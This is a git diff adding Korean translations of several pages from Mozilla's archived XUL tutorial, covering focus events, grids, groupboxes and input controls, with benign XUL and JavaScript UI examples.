+<button label="Button 3" tabindex="3"/>
+
+

focus 이벤트

+

focus 이벤트는 어떤 요소가 포커스를 받았을 때 반응하기 위해 사용됩니다. blur 이벤트는 요소에서 포커스가 벗어났을 때 반응하기 위해 사용됩니다. 여러분은 code>onfocus</code>나 onblur 속성을 요소에 붙여 포커스의 변화에 반응할 수 있습니다. 이 속성들은 HTML에 있는 해당 속성과 아주 비슷합니다. 이 이벤트 핸들러들은 요소를 강조(highlight)하거나 상태바에 텍스트를 출력하고자 할 때 보통 사용됩니다. 다음 예제는 포커스 이벤트를 처리하는 함수를 적용한 것을 보여주고 있습니다.

+

예제 2 : Source View

+
<script>
+
+function displayFocus(){
+  var elem=document.getElementById('sbar');
+  elem.setAttribute('value','Enter your phone number.');
+}
+
+</script>
+
+<textbox id="tbox1"/>
+<textbox id="tbox2" onfocus="displayFocus();"/>
+<description id="sbar" value=""/>
+
+

예제에서 focus 이벤트가 발생하면 displayFocus 함수가 호출될 것입니다. 이 함수는 텍스트 라벨의 값을 변경합니다. 우리는 이 예제를 확장해서 blur 이벤트가 발생할 때 텍스트가 제거되도록 만들수도 있을 것입니다. 일반적으로 사용자가 요소를 선택함에 따라 인터페이스의 일부분을 변경하기 위해 focus와 blur 이벤트를 사용합니다. 예를 들어 여러분은 사용자가 필드에 값을 입력함에 따라 합계를 갱신하거나 값의 유효성을 검증하는데 focus 이벤트를 사용할 수 있습니다. focus나 blur 이벤트에서 alert 창을 띄우지 마세요. 이렇게 하는 것은 사용자를 혼란스럽게 만들며, 아주 나쁜 사용자 인터페이스 디자인입니다.

+

또한 DOM 함수인 addEventListener를 사용해서 이벤트 핸들러를 동적으로 등록할 수 있습니다. 이 함수는 어떤 요소나 이벤트에도 사용할 수 있습니다. 여기에는 3개의 인자가 있는데 이들은 이벤트 유형, 이벤트가 발생했을 때 실행할 함수, 이벤트 캡쳐를 수행할지를 여부를 나타내는 불린값(boolean) 입니다.

+

현재 포커스를 가진 요소 가져오기

+

현재 포커스를 가진 요소는 명령 발송자(command dispatcher)라고 불리는 객체에 저장되며, 이 객체는 창에 하나만 존재합니다. 명령 발송자는 사용자가 인터페이스를 사용함에 따라 포커스를 가진 요소의 변화를 추적하는 역활을 수행합니다. 명령 발송자는 또 다른 역활도 수행하는데 이에 대해서는 다음 단원에서 자세히 알아 보겠습니다. 지금은 명령 발송자가 가진 기능들 중 포커스와 관련된 것들에 대해서만 알아보겠습니다.

+

여러분은 documentcommandDispatcher 속성을 이용해서 창의 명령 발송자 객체를 얻을 수 있습니다. 이곳에서 발송자의 focusedElement 속성으로부터 포커스를 가진 요소를 얻을 수 있습니다( document.commandDispatcher.focusedElement).

+

예제 3 : Source View

+
<window id="focus-example" title="Focus Example"
+        onload="init();"
+        xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
+
+<script>
+function init(){
+  addEventListener("focus",setFocusedElement,true);
+}
+
+function setFocusedElement(){
+  var focused = document.commandDispatcher.focusedElement;
+  document.getElementById("focused").value = focused.tagName;
+}
+</script>
+
+<hbox>
+  <label control="username" value="User Name:"/>
+  <textbox id="username"/>
+</hbox>
+
+<button label="Hello"/>
+<checkbox label="Remember This Decision"/>
+
+<label id="focused" value="-No focus-"/>
+
+</window>
+
+

예제에서 창에 focus 이벤트 핸들러를 부착하였습니다. 우리는 캡처 이벤트 핸들러를 사용하려고 하기 때문에 addEventListener 메소드를 사용하였습니다. 이 메소드를 이용해 창에 캡처 이벤트 핸들러를 등록하고 setFocusedElement 메소드가 호출되도록 하였습니다. 이 메소드는 명령 발송자로부터 포커스를 가진 요소를 가져와서 이 요소의 태그 이름을 라벨에 출력하게 됩니다. 포커스를 가진 요소가 바뀌면, 라벨도 해당 요소의 태그 이름으로 변경됩니다.

+

여기서 몇 가지 확인해야 할 점이 있습니다.

+ +

라벨이 포커스를 가질 수 있게 만들기

+

만일 사용자 정의 요소(XBL)를 만들어 봤다면, 어떤 요소가 포커스를 가질 수 있는지의 여부를 수정할 필요가 있었을 것입니다. 이를 위해, -moz-user-focus라는 특별한 스타일 속성을 사용할 수 있습니다. 이 속성은 요소가 포커스를 받을 수 있는지의 여부를 제어합니다. 예를 들어, 다음 예제와 같이 라벨이 포커스를 가질 수 있게도 할 수 있습니다.

+

예제 4 : Source View

+
<label id="focused" style="-moz-user-focus: normal;"
+          onkeypress="alert('Label Focused');" value="Focus Me"/>
+
+

해당 스타일 속성이 normal로 지정되었습니다. 여러분은 요소가 포커스를 가질 수 없게 하기 위해 ignore값을 지정할 수도 있습니다. 이 값은 요소를 사용 불가능한 상태로 만들기 위해 사용해서는 안되며 대신 disabled 속성을 사용하는 것이 좋습니다. 왜냐하면 이 속성이 이런 목적을 위해 존재하는 것이기 때문입니다. 일단 예제의 라벨에 포커스가 주어지면 키 입력에 응답할 수 있습니다. 원래 라벨은 일반적으로 포커스를 받지 않도록 되어 있기 때문에 포커스가 주어져도 어떤 표시도 나타나지는 않습니다.

+

포커스를 바꾸기

+

현재 포커스를 가진 요소를 바꾸는 몇 가지 방법이 있습니다. 가장 간단한 방법은 포커스를 지정하고자 하는 XUL 요소의 focus 메소드를 호출하는 것입니다. 요소에서 포커스를 제거하려면 blur 메소드를 호출하면 됩니다. 다음은 이러한 내용의 예제입니다.

+

예제 5 : Source View

+
<textbox id="addr"/>
+
+<button label="Focus" oncommand="document.getElementById('addr').focus()"/>
+
+

또는 명령 발송자 객체의 advanceFocusrewindFocus 메소드를 호출할 수도 있습니다. 이 메소드들은 포커스를 순서대로 다음 요소나 이전 요소로 옮깁니다. 이것은 사용자가 Tab이나 Shift+Tab 키를 눌렀을때와 동일한 것입니다.

+

텍스트 상자는 포커스를 받을때마다 focused라는 특별한 속성이 추가됩니다. 스크립트나 스타일시트에서 텍스트 상자가 포커스를 가지고 있는지 검사하려면 이 속성이 존재하는지 검사하면 됩니다. 만일 텍스트 상자가 포커스를 가지고 있다면 이 속성은 true값을 가지고, 포커스가 없다면 속성이 존재하지 않습니다.

+

여러분이 포커스를 다음 요소로 옮기고 싶다고 가정해 봅시다. 사용자는 보통 Tab 키를 눌러 포커스를 옮깁니다. XUL 브라우저에서는 다음과 같이 아무데서나 할 수 있습니다.

+
      document.commandDispatcher.advanceFocus();
+
+

사실 commandDispatchernsIDOMXULCommandDispatcher interface를 구현한 것입니다. 포커스를 처리하는 방법과 관련해 다른 많은 함수들이 존재합니다.

+

플랫폼에 따른 동작

+
+
+ Mac OS X
+
+ "Full Keyboard Access" (FKA)라는 설정이 존재합니다. XUL은 이 값에 충실하다는 것을 알아두세요. 이것은 FKA 설정이 off로 되어 있으면 텍스트 상자와 리스트/트리만이 키보드 또는 focus()를 사용한 코드로 포커스를 가질 수 있습니다.
+
+

텍스트 변경 처리

+

사용자가 텍스트 상자의 값을 변경할 때와 관련된 2가지 이벤트가 있습니다. 당연히 이 이벤트들은 포커스를 가진 텍스트 상자로만 전송됩니다.

+ +

텍스트 선택

+

텍스트 상자로 작업할 경우 입력된 전체 텍스트가 아닌 사용자가 선택한 것만을 가져오길 원할때가 있을 것입니다. 또는 현재 선택한 텍스트를 변경하고자 할 때도 있을 것입니다.

+

XUL 텍스트상자는 선택을 가져오거나 수정하는 방법을 제공합니다. 가장 단순한 것은 텍스트상자에 있는 모든 텍스트를 선택하는 것입니다. textboxselect 메소드를 이용해서 이를 수행합니다.

+
tbox.select();
+
+

그러나 텍스트의 일부분만 선택하고자 할 수도 있습니다. 이를 위해서는 setSelectionRange 함수를 사용할 수 있습니다. 이 함수는 두개의 인자를 가지며, 첫번째 인자는 시작 문자의 위치이고 두번째는 선택하고자 하는 텍스트의 마지막 문자 위치입니다. 이 값들은 0 기반으로 첫번째 문자는 0이고 두번째는 1과 같이 진행됩니다.

+
tbox.setSelectionRange(4,8);
+
+

예제는 다섯번째 부터 여덟번째 문자까지를 선택합니다. 만일 필드에 여섯개의 문자만 입력되어 있다면, 다섯번째와 여섯번째 문자만 선택되고 오류가 발생하지는 않습니다.

+

만일 두 인자에 동일한 값을 사용하면, 선택의 시작과 끝이 같이 위치가 됩니다. 이는 텍스트상자에서 커서의 위치를 변하게 할 뿐입니다. 예를 들어 아래는 커서를 텍스트의 처음으로 이동하게 하기 위해 사용될 수 있습니다.

+
tbox.setSelectionRange(0,0);
+
+

여러분은 또한 selectionStartselectionEnd 속성을 이용해서 현재 선택된 위치를 가져올 수 있습니다. 이 속성들은 현재 선택된 것의 시작과 끝 위치를 나타냅니다. 만일 둘다 동일한 값으로 설정되어 있으면 아무런 텍스트도 선택되어 있지 않다는 것이며, 커서는 해당 위치로 이동합니다. 만일 시작과 끝 위치를 안다면, 전체 텍스트 중 일부 문자열을 뽑아낼 수 있습니다.

+

텍스트 상자의 내용을 수정하거나 가져오려면 value 속성을 사용하면 됩니다.

+

텍스트 상자의 또 한가지 유용한 속성은 textLength로 입력된 문자의 개수를 담고 있습니다.

+

다음 단원에서는 commands를 사용하는 방법에 대해 알아보겠습니다.

+

+

« 이전다음 »

+

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/grids/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/grids/index.html new file mode 100644 index 0000000000..473c269406 --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/grids/index.html @@ -0,0 +1,156 @@ +--- +title: Grids +slug: Mozilla/Tech/XUL/XUL_Tutorial/Grids +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Grids +--- +

 

+

+

« 이전다음 »

+

+

XUL에는 표 형식의 격자를 만들기 위한 요소들이 있습니다.

+

XUL 표 형식의 레이아웃

+

XUL에는 표와 같은 방식으로 배치하기 위해 grid 및 관련 요소들을 사용합니다. 이것은 HTML의 table 태그와 약간 비슷합니다. Grid는 자체만으로는 아무것도 출력되지 않으며, 단지 행과 열을 가진 표 형식으로 요소들을 배치시키기 위해서만 사용합니다.

+

Grid에는 table처럼 행으로 정렬되는 요소가 있습니다. grid 내부에는 사용되는 행과 열을 선언합니다. HTML의 table 처럼, 행 안에 라벨이나 버튼과 같은 내용을 넣을 수 있습니다. 그러나 grid는 행 또는 열 기반의 구조로 작성할 수 있어, 행이나 열 아무쪽에 내용을 포함할 수 있습니다. Table과 같이 행 기반으로 사용하는 것이 가장 일반적입니다. 행 기반으로 사용하더라도 격자 내 열의 크기와 모양을 설정하기 위해 열을 사용할 수 있습니다. 다른 방법으로는 열에 내용을 넣고, 모양은 행에서 설정할 수도 있습니다.

+

Grid 선언하기

+

행 묶음을 선언하기 위해서는 rows 태그를 grid의 자식 요소로 사용해야 합니다. 이 요소 내부에는 row 요소를 추가해야 하며, 이는 각 행을 표현하기 위해 사용합니다. 행 내부에 넣고자 하는 내용은 row 요소 내에 두면 됩니다.

+

비슷하게 열 묶음은 columns 요소로 선언하고, grid를 자식요소로 두어야 합니다. 이 요소 내에는 column 요소가 들어가게 되고, 각 요소는 격자 내의 각 열에 해당하게 됩니다.

+

예제를 통해 여태까지의 내용을 쉽게 이해하실 수 있을 것입니다.

+

예제 1 : Source View

+
+ Image:grids1.png
+
<grid flex="1">
+
+  <columns>
+    <column flex="2"/>
+    <column flex="1"/>
+  </columns>
+
+  <rows>
+    <row>
+      <button label="Rabbit"/>
+      <button label="Elephant"/>
+    </row>
+    <row>
+      <button label="Koala"/>
+      <button label="Gorilla"/>
+    </row>
+  </rows>
+
+</grid>
+
+

예제에는 격자에 2개의 행과 열이 추가되어 있습니다. 각각의 열은 column 태그로 선언되어 있고 flex 속성이 주어져 있습니다. 각 행은 두 개의 버튼 요소를 포함하고 있습니다. 각각의 row 요소에 있는 첫 번째 버튼은 격자의 첫 번째 열에 위치하고 두 번째 버튼은 두 번째 열에 위치합니다. XUL의 grid에서는 방(cell)을 정의하는 요소가 존재하지 않습니다. 이는 HTML의 td와 같은 요소가 없다는 것을 의미합니다. 대신 row 요소에 내용을 직접 넣으면 됩니다.

+

여러개의 요소를 가지는 격자

+

당연히, button 요소의 위치에는 어떤 요소든 사용할 수 있습니다. 만일 특정 방에 여러개의 요소들을 넣고자 한다면, 중첩된 hbox나 다른 상자 요소를 사용하면 됩니다. hbox는 단일 요소지만 내부에 원하는 만큼의 요소를 넣을 수 있습니다. 다음은 이러한 예제입니다.

+

예제 2 : Source View

+
<grid flex="1">
+
+  <columns>
+    <column/>
+    <column flex="1"/>
+  </columns>
+
+  <rows>
+    <row>
+      <label control="doctitle" value="Document Title:"/>
+      <textbox id="doctitle" flex="1"/>
+    </row>
+    <row>
+      <label control="docpath" value="Path:"/>
+      <hbox flex="1">
+        <textbox id="docpath" flex="1"/>
+        <button label="Browse..."/>
+      </hbox>
+    </row>
+  </rows>
+
+</grid>
+
+
+ Image:grids2.png
+

그림에서 라벨 요소를 포함하는 첫 번째 열에는 각 행별로 한개 요소씩만 있는 것을 볼 수 있습니다. 두 번째 열, 두 번째 행은 상자를 포함하며, 상자에는 textboxbutton 두 가지 요소를 포함하고 있습니다. 여러분은 하나의 방안에 중첩된 상자나 다른 격자도 추가할 수 있습니다.

+

예제에서 창의 크기를 조절하면, 다른 요소들은 그대로이지만 글상자들의 크기만 변하는 것을 볼 수 있습니다. 이것은 글상자들과 두 번째 column 요소에 flex 속성이 설정되어 있기 때문입니다. 라벨은 크기를 조절할 필요가 없기 때문에, 첫 번째 열에는 flex 속성을 지정할 필요가 없습니다.

+

열의 초기 넓이는 열에 있는 요소들 중 가장 큰 것에 의해 결정됩니다. 마찬가지로 행의 높이는 행에 있는 요소들의 크기에 의해 결정됩니다. 여러분은 격자의 크기를 좀 더 자세히 정의하기 위해 minwidthmaxwidth, 그리고 관련 속성을 사용할 수 있습니다.

+

열 기반 구조

+

행 대신에 column 요소 내에 요소를 넣을 수 있습니다. 이렇게 할 경우, rows는 단지 행의 개수를 지정하기 위해서만 사용됩니다.

+

예제 3 : Source View

+
<grid>
+  <rows>
+    <row/>
+    <row/>
+    <row/>
+  </rows>
+
+  <columns>
+    <column>
+      <label control="first" value="First Name:"/>
+      <label control="middle" value="Middle Name:"/>
+      <label control="last" value="Last Name:"/>
+    </column>
+    <column>
+      <textbox id="first"/>
+      <textbox id="middle"/>
+      <textbox id="last"/>
+    </column>
+  </columns>
+
+</grid>
+
+

이 격자는 3개의 행과 2개의 열을 가집니다. row 요소는 행이 필요로하는 공간을 확보하기 위해서 사용한 것입니다. 여러분은 행이 유연하게 동작하도록 flex 속성을 추가할 수 있습니다. 내용은 각 열에 위치합니다. column 요소 내에 있는 첫 번째 요소는 첫 번째 행에, 그리고 두 번째 요소는 두 번째 행에 그리고 세 번째 요소는 세 번째 행에 위치합니다.

+

만일 column과 row 양쪽 모두에 내용을 넣는다면, 동일한 위치에 있는 내용들은 중첩되어 출력됩니다. 이렇게 하면 격자 내에 stack 요소를 포함하는 것처럼 보입니다.

+

grid 태그 내 요소들의 순서는 어떤 것이 위에 출력되고 어떤 것이 아래에 놓이는지를 결정합니다. 만일 rows 요소가 columns 요소 다음에 위치하면, rows 안에 있는 내용이 상위에 표시되고, columns 요소가 rows 요소 다음에 오면, columns 내의 내용이 상위에 표시됩니다. 마찬가지로, 마우스 버튼과 키누름과 같은 이벤트는 맨 위에 있는 요소들에게만 전달됩니다. 이런 이유로 위의 예제에서는 행이 먼저 오고 다음에 열이 선언되었습니다. 만약 columns가 먼저 위치했다면, rows가 이벤트를 잡아채기 때문에 입력란에 아무것도 입력할 수 없게 됩니다.

+

격자의 유연성

+

중첩된 상자 대신 격자를 사용하면 수직, 수평 모두 유연한 공간을 만들 수 있는 장점이 있습니다. 이렇게 하기 위해서는 행과 열 모두에 flex 속성을 설정하면 됩니다. 다음은 이러한 효과를 보여주는 예제입니다.

+

예제 4 : Source View

+
<grid flex="1">
+ <columns>
+  <column flex="5"/>
+  <column/>
+  <column/>
+ </columns>
+ <rows>
+  <row flex="10">
+    <button label="Cherry"/>
+    <button label="Lemon"/>
+    <button label="Grape"/>
+  </row>
+  <row flex="1">
+    <button label="Strawberry"/>
+    <button label="Raspberry"/>
+    <button label="Peach"/>
+  </row>
+ </rows>
+</grid>
+
+

예제에서 첫 번째 열과 두 개의 행이 유연하게 작성되었습니다. 이것은 첫 번째 열에 있는 모든 방이 가로 방향의 유연성을 가진다는 것을 의미합니다. 또한, 모든 행이 유연하도록 설정되어 모든 방은 세로 방향의 유연성을 가집니다. 첫 번째 행과 열에 해당하는 방(Cherry 버튼)은 가로 방향으로는 5만큼, 세로 방향으로는 10의 유연성을 가지며, 그 다음 방(Lemon 버튼)은 세로 방향으로만 유동적입니다.

+

또한 grid 요소에도 flex 속성이 설정되어 있기 때문에 전체 격자가 유연하며, 이렇지 않을 경우는 한 방향으로만 늘어나게 됩니다.

+

열 걸침(column spanning)

+

격자에는 몇 개의 행 또는 열을 병합한 방을 만들 수 있는 방법이 없습니다( Discussion에서 동일한 효과를 내기 위한 여러가지 방법을 볼 수 있습니다). 그러나 격자의 전체 높이나 너비 만큼에 걸치는 행이나 열을 만들 수는 있습니다. 이렇게 하기 위해서는 row 요소에 내용을 넣지 말고 그냥 rows요소에 내용을 넣으면 됩니다. 예를 들어 상자 타입의 요소를 사용할 수 있으며, 여러개의 요소들을 포함시키려면 상자 내에 다른 요소들을 넣으면 됩니다. 다음은 이러한 내용에 대한 간단한 예제입니다.

+

예제 5 : Source View

+
<grid>
+  <columns>
+    <column flex="1"/>
+    <column flex="1"/>
+  </columns>
+
+  <rows>
+    <row>
+      <label value="Northwest"/>
+      <label value="Northeast"/>
+    </row>
+    <button label="Equator"/>
+    <row>
+      <label value="Southwest"/>
+      <label value="Southeast"/>
+    </row>
+  </rows>
+</grid>
+
+

버튼은 하나의 행에 포함되지 않아서 격자 전체 너비에 맞게 늘어날 것입니다. 여러분은 동일한 기법을 열에도 적용할 수 있습니다. 이 경우에는 격자의 전체 높이에 맞게 늘어나게 됩니다. 또한 만일 원한다면 행과 열 모두에도 사용할 수 있습니다.

+

다음에는 내용 패널을 추가하는 것에 대해 알아보겠습니다.

+

+

« 이전다음 »

+

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/groupboxes/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/groupboxes/index.html new file mode 100644 index 0000000000..02a3067646 --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/groupboxes/index.html @@ -0,0 +1,74 @@ +--- +title: Groupboxes +slug: Mozilla/Tech/XUL/XUL_Tutorial/Groupboxes +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Groupboxes +--- +

+

« 이전다음 »

+

+

이 단원에서는 요소들을 그룹에 포함하는 방법에 대해 알아 보겠습니다.

+

그룹상자

+

HTML에서는 여러 가지 요소를 그룹핑하기 위한 목적으로 사용할 수 있는 fieldset 요소를 제공합니다. 이 때 요소들을 둘러 싸는 테두리가 생기기 때문에 각 요소가 서로 연관되어 있음을 알 수 있게 됩니다. 체크박스의 그룹이 하나의 예가 될 수 있습니다. XUL은 비슷한 기능을 위해 사용될 수 있는 groupbox 요소를 제공합니다.

+

이름에서 알 수 있듯이 groupbox는 상자의 한 형태입니다. 따라서 groupbox 내부의 요소들은 상자에 적용되는 규칙에 따라 정렬됩니다. 하지만 groupbox와 일반 상자 사이에는 다음의 두 가지 차이점이 있습니다.

+ +

groupbox도 상자의 한 유형이기 때문에 상자에서 사용하는 orientflex같은 속성을 사용할 수 있습니다. groupbox에는 어떤 요소들도 넣을 수 있지만, 보통 서로 관련된 요소들만 넣습니다.

+

groupbox의 위쪽 제목은 caption 요소를 사용해서 생성할 수 있습니다. caption은 HTML의 legend 요소와 비슷한 기능을 합니다. 제목을 넣을 때는 caption을 첫 번째 자녀 요소로 넣어 주면 됩니다.

+

간단한 groupbox 예제

+

아래는 간단한 groupbox 예제입니다.

+

예제 1 : Source View

+
+ Image:titledbox1.png
+
<groupbox>
+  <caption label="Answer"/>
+  <description value="Banana"/>
+  <description value="Tangerine"/>
+  <description value="Phone Booth"/>
+  <description value="Kiwi"/>
+</groupbox>
+
+

이 예제를 실행하면 네 개의 문자열을 둘러 싸는 + + Answer + 라는 제목을 가진 상자가 표시됩니다. groupbox의 정렬 속성은 세로 정렬이 기본이기 때문에 문자열이 세로로 차곡차곡 쌓이게 됩니다.

+

좀 더 복잡한 제목

+

caption 요소에 자식 요소를 넣으면 더 다양한 기능을 구현할 수 있습니다. 예를 들어 모질라의 글꼴 설정 판넬은 펼침 메뉴(drop-down menu)를 제목으로 사용하고 있습니다. 자식 요소는 무엇이든 쓸 수 있지만 보통 체크박스나 펼침 메뉴가 사용됩니다.

+

예제 2 : Source View

+
+ Image:groupbox2.png
+
<groupbox flex="1">
+  <caption>
+    <checkbox label="Enable Backups"/>
+  </caption>
+  <hbox>
+    <label control="dir" value="Directory:"/>
+    <textbox id="dir" flex="1"/>
+  </hbox>
+  <checkbox label="Compress archived files"/>
+</groupbox>
+
+

이 예제에서는 checkbox가 제목으로 사용되었습니다. 스크립트를 사용하면 checkbox의 선택 여부에 따라 groupbox의 내용을 사용 가능/불가로 전환할 수 있습니다. 이 groupbox는 수평 box 하나를 갖고 있는데 그 안에는 labeltextbox가 포함되어 있습니다. 글상자와 groupbox 둘 다 flex 속성이 적용되었기 때문에 창이 늘어나면 글상자도 함께 늘어납니다. 그 다음의 체크박스는 글상자의 아래에 표시되는데 이는 groupbox의 정렬 방식이 세로 정렬이기 때문입니다. 다음 단원에서는 파일 찾기 대화창에 groupbox를 넣어 보도록 하겠습니다.

+

라디오 그룹

+

radiogroup 요소를 사용하면 여러 개의 라디오 버튼을 하나로 묶을 수 있습니다. radiogroup도 상자의 일종입니다. radiogroup은 radio 버튼을 다룰 수 있는 특수 기능 외에는 다른 상자와 다를 게 없기 때문에 안에 어떠한 요소를 넣어도 상관 없습니다.

+

radiogroup 안에 있는 라디오 버튼들은 그것들이 중첩된 상자내에 있더라도 모두 하나의 그룹이 됩니다. 이는 아래의 예제처럼 라디오 버튼으로 이루어진 구조에 다른 요소를 넣을 때 유용하게 사용될 수 있습니다.

+

예제 3 : Source View

+
<radiogroup>
+  <radio id="no" value="no" label="No Number"/>
+  <radio id="random" value="random" label="Random Number"/>
+  <hbox>
+    <radio id="specify" value="specify" label="Specify Number:"/>
+    <textbox id="specificnumber"/>
+  </hbox>
+</radiogroup>
+
+

한 가지 유의할 점은 radiogroup 요소는 테두리가 생기지 않는다는 것입니다. 만약 테두리와 제목이 필요하다면 radiogroup을 groupbox에 포함시켜 사용하시면 됩니다.

+

다음에는, 지금까지 배워온 내용을 이용해서 몇 가지 요소들을 파일 찾기 대화창에 추가해 보겠습니다.

+

+

« 이전다음 »

+

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/index.html new file mode 100644 index 0000000000..b069c217a0 --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/index.html @@ -0,0 +1,132 @@ +--- +title: XUL Tutorial +slug: Mozilla/Tech/XUL/XUL_Tutorial +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial +--- +

이 튜토리얼은 XML 유저 인터페이스 언어(XML User-Interface Language)인 XUL 을 설명합니다. 이 언어는 모질라 응용프로그램(Application)을 만드는데 사용되며 특히 유저 인터페이스를 기술하는데 사용됩니다. +

+
+

본 XUL 튜토리얼 한국어 번역본은 김재용, 김고명님에 의해 최초로 작성되었으며 그는 고맙게도 본 튜토리얼을 MDC 한국 프로젝트의 일부로 사용할 수 있도록 허락해 주었습니다. 두 분의 최초 한국 번역본은 XULPlanet의 Neil Deakin 허락하에 번역되었습니다. +

+
+
개요
+ +
단순 요소들(Simple Elements)
+ +
박스 모델(The Box Model)
+ +
더욱 다양한 레이아웃 요소들(More Layout Elements)
+ +
툴바와 메뉴(Toolbars and Menus)
+ +
이벤트와 스크립트(Events and Scripts)
+ +
문서 객체 모델(Document Object Model)
+ +
트리(Trees)
+ +
RDF 와 템플릿(Templates)
+ +
스킨과 지역화(Skins and Locales)
+ +
Bindings
+ +
Specialized Window Types
+ +
설치(Installation)
+ +
+

본 XUL 튜토리얼은 본래 Neil Deakin에 의해 작성되었으며 그는 고맙게도 본 튜토리얼을 MDC의 일부로 사용할 수 있도록 허락해 주었습니다. +

+
+
+
원본 문서 정보
+ +
+

Interwiki Language Links +

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/input_controls/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/input_controls/index.html new file mode 100644 index 0000000000..df96b700f3 --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/input_controls/index.html @@ -0,0 +1,110 @@ +--- +title: Input Controls +slug: Mozilla/Tech/XUL/XUL_Tutorial/Input_Controls +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Input_Controls +--- +

+

« 이전다음 »

+

+

XUL은 HTML의 form 컨트롤과 비슷한 요소들을 가지고 있습니다.

+

텍스트 입력 컨트롤

+

HTML은 텍스트 입력 컨트롤로 사용할 수 있는 input 요소를 가집니다. XUL 또한 textbox라고 하는 텍스트를 입력하는데 사용되는 비슷한 요소를 가지고 있습니다. 아무런 속성이 지정되어 있지 않으면 textbox 요소는 사용자가 텍스트를 입력할 수 있는 상자를 만들어 냅니다. Textbox는 HTML의 input 컨트롤과 많은 동일한 속성을 사용할 수 있습니다. 다음은 속성들의 일부입니다.

+
+
+ id 
+
+ Textbox를 실별하는데 사용할 수 있는 유일식별자(unique identifier) 입니다.
+
+ class 
+
+ Textbox의 스타일 클래스 입니다.
+
+ value 
+
+ Textbox의 기본 텍스트를 지정하고 싶으면, 이 속성값에 적용하면 됩니다.
+
+ disabled 
+
+ 입력을 할 수 없게 하려면 이 속성을 true로 지정합니다.
+
+ type 
+
+ 입력한 텍스트를 숨기는 textbox를 만드려면 이 속성을 password라는 특별한 값으로 지정할 수 있습니다.
+
+ maxlength 
+
+ Textbox에 입력할 수 있는 최대 문자수를 지정합니다.
+
+

HTML에서는 input 요소로 다양한 종류의 컨트롤 타입을 만들 수 있지만, XUL에서는 각 타입에 대응되는 별도의 요소가 있습니다.

+

다음은 몇 가지 textbox 예제입니다.

+

예제 1 : Source View

+
<label control="some-text" value="Enter some text"/>
+<textbox id="some-text"/>
+<label control="some-password" value="Enter a password"/>
+<textbox id="some-password" type="password" maxlength="8"/>
+
+

여러줄(multiline) textbox

+

위의 textbox 예제는 한줄짜리 텍스트만 입력하는데 사용할 수 있는 입력 컨트롤을 생성합니다. HTML에서는 더 많은 텍스트 입력 영역이 있는 textarea 요소가 존재합니다. XUL에서는 textbox 요소를 이러한 목적으로 사용할 수 있늡니다(서로 다른 두개 요소는 필요 없습니다). multiline속성을 true로 지정하면 텍스트 입력 필드는 다중 행을 표시합니다.

+

예제 2 : Source View

+
<textbox multiline="true"
+           value="This is some text that could wrap onto multiple lines."/>
+
+

HTML의 textarea처럼, 크기를 지정하기 위해 rowscols를 사용할 수 있습니다. 이 속성들은 출력될 문자의 행과 열수를 지정합니다.

+
+

우리의 파일 찾기 예제

+

이제 파일 찾기 대화상자에 검색을 위한 입력 필드를 추가합니다. Textbox 요소를 사용할 것입니다.

+
<label value="Search for:" control="find-text"/>
+<textbox id="find-text"/>
+
+<button id="find-button" label="Find"/>
+
+
+ Image:inputs1.png
+

앞선 섹션에서 만든 버튼 앞 부분에 위의 코드를 추가하세요. 창을 열면, 이미지와 같이 보일 것입니다.

+

라벨과 텍스트 input 필드가 윈도우에 출력됩니다. 텍스트박스는 완전히 작동하며 텍스트를 입력하거나 선택할 수 있습니다. 예제에서 라벨의 control 속성이 사용되어서 label이 클릭되면 텍스트 박스가 선택됩니다.

+
+

체크박스와 라디오 버튼

+

체크박스와 라디오 버튼을 만들기 위해서는 두 개의 추가적인 요소를 사용합니다. 이것들은 버튼의 일종입니다. 체크박스 요소는 가능 또는 불가능될 수 있는 옵션을 위해 사용할 수 있습니다. 라디오 버튼은 비슷한 목적으로 사용할 수 있는 것으로 여러개의 항목 중 하나만 선택할 수 있을 때 사용합니다.

+

체크박스와 라디오 버튼은 버튼과 대부분 동일한 속성을 사용합니다. 아래 예제는 간단한 체크박스와 라디오 버튼을 보여줍니다.

+
<checkbox id="case-sensitive" checked="true" label="Case sensitive"/>
+<radio id="orange" label="Orange"/>
+<radio id="violet" selected="true" label="Violet"/>
+<radio id="yellow" label="Yellow"/>
+
+

첫번째 줄에서는 간단한 checkbox를 생성합니다. 사용자가 체크박스를 클릭하면 선택 또는 선택되지 않은 상태를 교환합니다. checked 속성은 처음 상태를 나타내기 위해 사용할 수 있습니다. 이것은 true또는 false로 지정되어야 합니다. label 속성은 체크박스 옆에 출력될 라벨을 지정하기 위해 사용합니다. radio 버튼에서는 checked 속성 대신 selected를 사용해야 합니다. 라디오 버튼이 처음 선택된 상태로 마들기 위해서는 selectedtrue로 설정하세요.

+

라디오그룹 요소

+

라디오 버튼들을 그룹짖기 위해서는 radiogroup 요소를 사용할 필요가 있습니다. 라디오 그룹내에 있는 라디오 버튼들 중 하나만 선택할 수 있습니다. 하나를 선택하면 같은 그룹 내의 다른 것들은 모두 꺼지게 됩니다. 다음 예제는 이러한 내용을 보여줍니다.

+

예제 3 : Source View

+
<radiogroup>
+  <radio id="orange" label="Orange"/>
+  <radio id="violet" selected="true" label="Violet"/>
+  <radio id="yellow" label="Yellow"/>
+</radiogroup>
+
+

속성

+

버튼처럼, 체크박스와 라디오 버튼들도 라벨과 이미지로 구성되며, 버튼들이 눌러졌을 때체크된 상태와 체크되지 않은 상태의 이미지가 바뀌어집니다. 체크 박스는 버튼과 많은 동일한 속성을 가집니다.

+
+
+ label 
+
+ 체크 박스나 라디오 버튼의 라벨를 설정합니다.
+
